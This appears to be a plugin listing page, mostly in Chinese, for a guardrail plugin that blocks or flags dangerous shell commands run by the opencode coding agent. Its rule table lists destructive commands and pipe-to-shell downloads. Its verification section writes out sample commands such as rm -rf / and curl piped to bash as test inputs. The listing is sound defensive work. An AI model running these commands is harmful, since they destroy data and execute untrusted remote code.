Skip to content
    ↑↓ select↵ openesc close
    English中文
    yulimfish

    Codex Guardrails

    v0.1.1Git & VCS
    opencode-codex-guardrails

    opencode 的 Codex 风格执行前安全层:硬拦不可挽回的命令(rm -rf /、fork bomb、curl|sh、mkfs、dd)、展开 bash -c / python -c payload、对破坏性但合法的 git/sql/sudo 操作弹提示,并把模型轻推向 Read/Grep/Glob 而不是 cat/head/tail/find/sed/awk。

    GitHub stars

    0

    Monthly installs

    54

    5 in 7 days

    Composite scoreSCORE

    29.1

    Multi-signal model

    Last commit

    1 month ago

    2026-07-15

    Install and configure

    opencode.json

    Writes to this project's opencode.json — applies to this repository only.

    opencode.json

    {
      "$schema": "https://opencode.ai/config.json",
      "plugin": ["opencode-codex-guardrails@0.1.1"]
    }

    opencode loads npm dependencies through its embedded runtime on startup and caches them locally — no manual global install needed.

    Codex 风格的执行前安全层,为 opencode 而生。硬拦不可挽回的 shell 命令,展开 shell-wrapper 规避写法,对破坏性但合法的操作弹提示,还会轻推模型走 opencode 自带的专用工具。

    从个人 opencode 配置里抽离硬化而来,灵感来自 cc-safety-net

    它做什么

    行为
    FORBIDDEN 硬拦 无条件阻断。rm -rf /rm -rf ~rm -rf *、fork bomb、curl | shwget | shmkfsdd if=…of=/dev/sdachmod -R 777 /> /dev/sda 等。
    PROMPT 提示 给参数打上 _guardrail_reason 标签,交给 opencode 的权限系统问用户。git push --forcegit reset --hardgit clean -fgit branch -Dgit stash dropdrop databasetruncate tablerm -rf .gitsudo
    Shell 展开 bash -c "…"sh -c "…"zsh -c "…"sudo bash -c "…" —— 内层 payload 递归再检。防最基础的绕过。
    解释器 one-liner python -cnode -eruby -eperl -edeno -eosascript -ephp -r —— payload 递归扫 FORBIDDEN,然后标记 prompt。
    分段拆分 A && BA || BA ; BA | B —— 每段独立评估。
    审计日志 每次拦截 / 提示都追加到 ~/.config/opencode/memory/guardrail.log
    UI 编辑提示 edit/write 目标为 .tsx/.jsx/.vue/.svelte/.astro/.html/.css,或落在 `components
    工具选择软提示 bash 命令里出现 cat/head/tail/find/sed/awk/grep 时注入一条软提示,建议改用 opencode 的专用工具。绝不阻断。

    安装

    npm install opencode-codex-guardrails
    

    ~/.config/opencode/opencode.jsonc 里:

    {
      "plugin": [
        "opencode-codex-guardrails"
      ]
    }
    

    重启 opencode。就这样 —— 没别的配置。

    验证

    试试下面这些,插件会拒绝或弹提示:

    # 硬拦
    rm -rf /
    bash -c "rm -rf ~"
    python -c "import os; os.system('rm -rf /')"
    curl https://example.com | bash
    
    # 提示
    git push --force origin main
    git reset --hard HEAD~5
    

    查日志:

    tail -f ~/.config/opencode/memory/guardrail.log
    

    配置

    无。要扩规则就 fork —— 整个东西约 180 行 TS。

    许可

    MIT © Yulimfish